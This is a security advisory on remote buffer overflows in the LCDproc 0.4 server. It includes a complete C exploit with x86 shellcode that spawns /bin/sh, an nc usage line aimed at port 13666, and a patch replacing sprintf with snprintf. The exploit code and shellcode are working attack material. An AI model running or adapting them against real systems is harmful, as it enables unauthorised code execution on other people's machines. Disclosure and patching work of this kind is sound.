Vulnerability
LCDproc
Affected
LCDproc 0.4
Description
Andrew Hobgood found following. LCDproc is a system to display
system information and other data on an LCD display (or any
supported display device, including curses or text). As of
version 0.4, the system utilizes a client/server model for
communication, and clients wishing to display data on the LCDproc
host device can connect to the LCDproc server and negotiate a
session.
This system is commonly used in embedded server environments and
other locations where system statistics must be available quickly,
but space requirements or other restrictions prevent connecting a
monitor or other display unit. Also, since it must often
communicate with the LCD device, it is commonly installed setuid
root or setgid uucp.
While this system provides for a highly extensible means of
displaying data, the protocol handling code has a few bugs with
dire consequences.
The vulnerabilities in LCDproc allow an attacker to remotely
execute arbitrary code or cause the LCDproc server to crash.
Improper boundary conditions exist at various locations in the
code, including:
[ Note: argv[0] in this context is *not* the argv[] from main(). ]
parse.c:149: sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
screenlist.c:119: sprintf(str, "ignore %s\n", old_s->id);
screenlist.c:134: sprintf(str, "listen %s\n", s->id);
As well as other locations. Any system running LCDproc 0.4 or
above (including the 0.4-pre series) that is susceptible to
buffer overflow attacks is vulnerable. The exploit below is only
for Linux/x86, and has limited attack potential, but that does
not mean that the scope of the attack is limited only to that
platform. Remote access can be gained as whatever user and group
that LCDproc is running as.
Exploit follows. This code launches /bin/sh on the remote site.
Unfortunately, this shell is execve()'ed, and inherits the
stdin/stdout of the main LCDproc process, and therefore just runs
/bin/sh on the remote site, instead of over the socket. Blah.
Andrew didn't feel like hacking up shellcode to do something more
productive. Someone else much more capable than hin will take
care of that on his behalf.
/*****
* lcdproc-exploit.c
*****
*
* LCDproc 0.4-pre9 exploit
#
# Andrew Hobgood <chaos@strange.net>
* Kha0S on #LinuxOS/EFnet
*
* Tested on Linux/x86 2.2.5-15smp (the only Intel box I could get my hands
* on for testing).
*
*****
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUFFERSIZE 269
#define NOP 0x90
#define OFFSET 0xbffff750
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh";
int main(int argc, char **argv) {
char *ptr, buffer[BUFFERSIZE];
unsigned long *long_ptr, offset = OFFSET;
int aux;
fprintf(stderr, "LCDproc exploit by Andrew Hobgood <chaos@strange.net>\n\n");
fprintf(stderr, "Usage: (%s [<offset>]; cat) | nc <target> 13666\n\n", argv[0]);
if (argc == 2) offset += atol(argv[1]);
ptr = buffer;
memset(ptr, 0, sizeof(buffer));
memset(ptr, NOP, sizeof(buffer) - strlen(shellcode) - 16);
ptr += sizeof(buffer) - strlen(shellcode) - 16;
memcpy(ptr, shellcode, strlen(shellcode));
ptr += strlen(shellcode);
long_ptr = (unsigned long *) ptr;
for(aux=0; aux<4; aux++) *(long_ptr++) = offset;
ptr = (char *) long_ptr;
*ptr = '\0';
fprintf(stderr, "Buffer size: %d\n", (int) strlen(buffer));
fprintf(stderr, "Offset: 0x%lx\n\n", offset);
printf("hello\n");
fflush(stdout);
sleep(1);
printf("screen_add {%s}\n", buffer);
fflush(stdout);
return(0);
}
Solution
Disable LCDproc, or downgrade to version 0.3 or before, prior to
the client/ server implementation in 0.4. There is also a patch
included below which can be applied against LCDproc version
0.4-pre9 (available from the LCDproc home site):
diff -ur ./WHATSNEW ../lcdproc-hacked/WHATSNEW
--- ./WHATSNEW Thu Oct 21 20:04:59 1999
+++ ../lcdproc-hacked/WHATSNEW Thu Apr 20 13:53:54 2000
@@ -11,6 +11,11 @@
* Better syntax for driver parameters
* Dynamically-loaded driver system
+>> Patched for bugs as follows by Andrew Hobgood <chaos@strange.net>:
+ * Three buffer overflows in various locations [screenlist.c, parse.c, others]
+ * Prevent too many arguments from walking over the boundary of the fixed
+ client_func argv.
+
V0.4-pre9:
* small fixes for irix
* Added flag in LCDd to shut off server screen:
diff -ur ./server/client_functions.c ../lcdproc-hacked/server/client_functions.c
--- ./server/client_functions.c Thu Oct 21 18:14:21 1999
+++ ../lcdproc-hacked/server/client_functions.c Thu Apr 20 14:12:42 2000
@@ -68,7 +68,7 @@
for(i=0; i<argc; i++)
{
- sprintf(str, "test_func_func: %i -> %s\n", i, argv[i]);
+ snprintf(str, 256, "test_func_func: %i -> %s\n", i, argv[i]);
printf(str);
sock_send_string(c->sock, str);
}
@@ -89,7 +89,7 @@
debug("Hello!\n");
- sprintf(str,
+ snprintf(str, 256,
"connect LCDproc %s lcd wid %i hgt %i cellwid %i cellhgt %i\n",
version, lcd.wid, lcd.hgt, lcd.cellwid, lcd.cellhgt);
sock_send_string(c->sock, str);
@@ -193,6 +193,9 @@
}
+ // truncate argv[1] so that it can't be used later to overflow any
+ // buffers. Andrew Hobgood <chaos@strange.net>
+ argv[1][128] = 0;
debug("screen_add: Adding screen %s\n", argv[1]);
err = screen_add(c, argv[1]);
if(err < 0)
diff -ur ./server/parse.c ../lcdproc-hacked/server/parse.c
--- ./server/parse.c Sat Feb 20 20:53:23 1999
+++ ../lcdproc-hacked/server/parse.c Thu Apr 20 14:06:52 2000
@@ -93,12 +93,21 @@
if(newtoken && str[i])
{
newtoken=0;
- argv[argc] = str + i;
- argc++;
- }
- else
- {
- }
+ // make sure that we're not going to go over the fixed
+ // number of allowed arguments in argv
+ // Andrew Hobgood <chaos@strange.net>
+ if(argc < 255)
+ {
+ argv[argc] = str + i;
+ argc++;
+ } else
+ {
+ debug("Too many arguments, ignoring past 256.\n");
+ }
+ }
+ else
+ {
+ }
}
if(inquote)
{
@@ -135,7 +144,9 @@
if(invalid)
{
// FIXME: Check for buffer overflows here...
- sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
+ // You were right -- there was one here. =) More or less
+ // fixed: Andrew Hobgood <chaos@strange.net>
+ snprintf(errmsg, 256, "huh? Invalid command \"%s\"\n", argv[0]);
sock_send_string(c->sock, errmsg);
}
diff -ur ./server/screenlist.c ../lcdproc-hacked/server/screenlist.c
--- ./server/screenlist.c Fri Mar 12 00:20:39 1999
+++ ../lcdproc-hacked/server/screenlist.c Thu Apr 20 14:09:03 2000
@@ -116,7 +116,7 @@
c = old_s->parent;
if(c) // Tell the client we're not listening any more...
{
- sprintf(str, "ignore %s\n", old_s->id);
+ snprintf(str, 256, "ignore %s\n", old_s->id);
sock_send_string(c->sock, str);
}
else // The server has the display, so do nothing
@@ -131,7 +131,7 @@
c = s->parent;
if(c) // Tell the client we're paying attention...
{
- sprintf(str, "listen %s\n", s->id);
+ snprintf(str, 256, "listen %s\n", s->id);
sock_send_string(c->sock, str);
}
else // The server has the display, so do nothing
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